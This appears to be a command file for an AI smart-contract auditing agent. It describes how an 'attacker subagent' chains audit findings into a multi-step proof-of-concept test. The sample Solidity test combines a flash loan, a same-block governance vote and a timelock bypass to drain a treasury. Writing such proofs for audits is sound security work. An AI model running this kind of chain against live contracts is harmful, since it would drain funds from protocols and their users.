exploit-chain

/exploit-chain — combine findings into a chain

Some findings are amplifiers, not standalone exploits. This command chains them.

Procedure

Step 1 — Pull all findings

Read each finding ID. Map each to the relevant code site and the vuln class.

Step 2 — Plan the chain

Dispatch the attacker subagent with all findings as input. Ask it to:

• Sequence the findings in attack order.
• Identify the bridge state changes between each step (what state must one finding leave for the next to work?).
• Estimate the value extractable and the cost (gas, capital).

Step 3 — Write a multi-step PoC

Same as /exploit, but the test executes multiple steps:

function test_ChainExploit_GovernanceDrain() public {
    // Step 1: flash-loan governance tokens (FLASH-001 + GOV-002)
    flashLender.borrow(GOV_TOKEN, 1_000_000e18);

    // Step 2: propose+vote+queue all in one block (GOV-003 — missing voting delay)
    uint256 propId = governor.propose([address(treasury)], [0], [drainCalldata]);
    governor.castVote(propId, 1);
    governor.queue(propId);

    // Step 3: wait timelock-bypass — TIMELOCK-001 — eta is ignored
    vm.warp(block.timestamp + 1);   // ← was supposed to be 2 days
    governor.execute(propId);

    // Step 4: repay flash loan, keep the drained treasury
    flashLender.repay(GOV_TOKEN, 1_000_000e18);

    assertGt(attacker.balance, treasuryStartBalance);
}

Step 4 — Run and verify

Same as /exploit — the test must pass.

Step 5 — Output

• The full chained PoC.
• A bullet-point summary of the chain:

Exploit chain:
  1. FLASH-001   borrow governance token via flash loan
  2. GOV-002     vote with spot balance (no snapshot, no delay)
  3. GOV-003     queue + execute in same block (timelock bypass)
  4. TREAS-001   drain treasury via approved proposal
  → Net value extracted: $4.2M  (assuming 1M flash loan source)

Notes

• Don't claim a chain works without proving it via forge-runner.
• If the chain requires an unrealistic external dependency (a specific flash-loan source, a specific oracle behavior), call that out as a precondition.
• Best output when 2-4 findings combine; chains of 5+ findings tend to be theoretical.